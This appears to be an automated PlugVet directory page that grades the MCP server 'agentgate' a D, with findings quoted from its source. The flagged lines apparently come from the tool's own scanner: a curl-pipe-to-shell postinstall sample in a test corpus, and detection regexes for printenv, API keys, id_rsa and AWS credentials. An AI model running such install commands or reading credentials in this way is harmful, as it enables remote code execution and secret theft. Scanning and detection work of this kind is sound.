MCP, MCP server
agentgate
agentgate, an MCP server listed in the PlugVet directory.
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
INSTALL_REMOTE_SCRIPT SECRETS_PATH_CREDENTIAL
Why this grade
- INSTALL_REMOTE_SCRIPT Medium
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
packages/guard/corpus/positive/install-hook/package.json, line 4
"postinstall": "curl -fsSL https://x.test/i.sh | sh" - SECRETS_PATH_CREDENTIAL Medium
Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).
packages/guard/src/checks/agent-settings.mjs, line 9
{ re: /\bprintenv\b|\$ANTHROPIC[_-]|\$OPENAI[_-]|\$AWS[_-]|id_rsa|\.aws\/credentials/, what: "reads credentials in a hook" },
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Note
requests shell access. The manifest names this permission.
PERMISSION_SHELL_DECLARED
packages/guard/src/checks/source-injection.mjs, line 12
{ rule: "AG-SRC-001", severity: "high", re: /\bos\.system\s*\(\s*f/, message: "os.system() called with an f-string" },
packages/guard/src/checks/source-injection.mjs, line 13
{ rule: "AG-SRC-001", severity: "high", re: /\bos\.system\s*\(\s*[A-Za-z_][\w.]*\s*\+/, message: "os.system() called with string concatenation" },
Install and update
Serious
install fetches a script from the network.
INSTALL_REMOTE_SCRIPT
packages/guard/corpus/positive/install-hook/package.json, line 4
"postinstall": "curl -fsSL https://x.test/i.sh | sh"
Network
Concern
can reach a host that is not written as a fixed address. can reach deb.nodesource.com. The description does not name that host. can reach dl.cloudsmith.io. The description does not name that host. can reach registry.npmjs.org. The description does not name that host.
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
bin/agentgate.mjs, line 292
const response = await fetch(String(flags.webhook), {
packages/collect/github-census.mjs, line 28
return fetch(url, { headers: headers || {}, redirect: 'follow', signal: AbortSignal.timeout(30000) })
packages/collect/mcp-audit.mjs, line 24
return fetch(url, { headers: headers || {}, redirect: 'follow', signal: AbortSignal.timeout(30000) })
Show more
packages/collect/scripts/classify-repositories.mjs, line 112
const res = await fetch(url, { headers: { Authorization: "Bearer
packages/collect/scripts/fetch-manifests.mjs, line 176
const res = await fetch(url, { headers: { "User-Agent": "agentgate-manifests" }, signal: AbortSignal.timeout(30000) })
packages/collect/scripts/guard-scan.mjs, line 92
const res = await fetch(url, { signal: AbortSignal.timeout(20000), headers: { accept: "application/json" } })
packages/collect/scripts/rule-coverage.mjs, line 491
const res = await fetch(url, { headers: { accept: "application/json" } })
packages/service/src/alert.mjs, line 2
* Sending one alert mail, with curl and nothing else.
scripts/onboard-server.sh, line 247
if curl -fsS -o /dev/null --max-time 2 "http://127.0.0.1:$PORT/health" 2>/dev/null; then break; fi
scripts/rehearse-deploy.mjs, line 100
try { if ((await fetch("http://127.0.0.1:" + port + "/health")).ok) { up = true; break } } catch (error) { /* not yet */ }
scripts/restore-drill.mjs, line 79
const response = await fetch("http://127.0.0.1:" + server.address().port + "/health")
Secrets
Concern
reads a credential or environment file.
SECRETS_ENV_READ SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
packages/collect/github-census.mjs, line 203
const token = argOf('token', process.env.GH_TOKEN || process.env.GITHUB_TOKEN || null)
packages/collect/scripts/classify-repositories.mjs, line 75
const token = argOf("token", process.env.GH_TOKEN || process.env.GITHUB_TOKEN || null)
packages/guard/src/checks/agent-settings.mjs, line 9
{ re: /\bprintenv\b|\$ANTHROPIC[_-]|\$OPENAI[_-]|\$AWS[_-]|id_rsa|\.aws\/credentials/, what: "reads credentials in a hook" },
Show more
packages/collect/scripts/plan-census.mjs, line 105
const token = process.env.GH_TOKEN || null
packages/guard/src/checks/install-hooks.mjs, line 21
)?(?:fs|path|child_process)['"])|process\.env\s*[\w.\[\]'"]*\s*=|process\.exit/
packages/release/src/release.mjs, line 55
/** A generated index is evidence from someone else's machine; a .env is a secret. */
packages/release/src/release.mjs, line 57
{ pattern: /(^|\/)\.env($|\.)/, why: "环境文件不该进包" },
packages/release/src/release.mjs, line 58
{ pattern: /smtp\.env/, why: "SMTP 凭据不该进包" },
docs/operations/deployment-runbook.md, line 325
它检查:`package.json` 的版本与 `--version`/`--tag` 一致、`agentgate version` 报的是同一个数、`CHANGELOG.md` 里有这个版本的一节、`npm pack --dry-run` 的内容没有缺文件、没有 `.env`/`账号本`/`生成的索引`、每个文件都被 `files` 字段解释、`publi
docs/operations/key-rotation.md, line 10
| SSH 部署私钥 | 本机 `~/.ssh/agentgate_deploy`(+ `ProxyCommand`);服务器 `authorized_keys` | 登录服务器 | 服务器完全控制权 |
docs/operations/key-rotation.md, line 36
ssh-keygen -t ed25519 -f ~/.ssh/agentgate_deploy_new -C "agentgate deploy <日期>"
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Note
a file was over the read cap and was not fully read.
OBFUSCATION_FILE_OVER_READ_CAP
packages/collect/data/atr-conditions.json, line 1
{
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit b7c9ee53c191. requests shell access. The manifest names this permission. install fetches a script from the network. can reach a host that is not written as a fixed address. can reach deb.nodesource.com. The description does not name that host. can reach dl.cloudsmith.io. The description does not name that host. can reach registry.npmjs.org. The description does not name that host. reads a credential or environment file. a file was over the read cap and was not fully read.
Date and source
Date checked:
github.com
Commit graded: b7c9ee53c191ccb7296d452cdc422df6345a0848
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.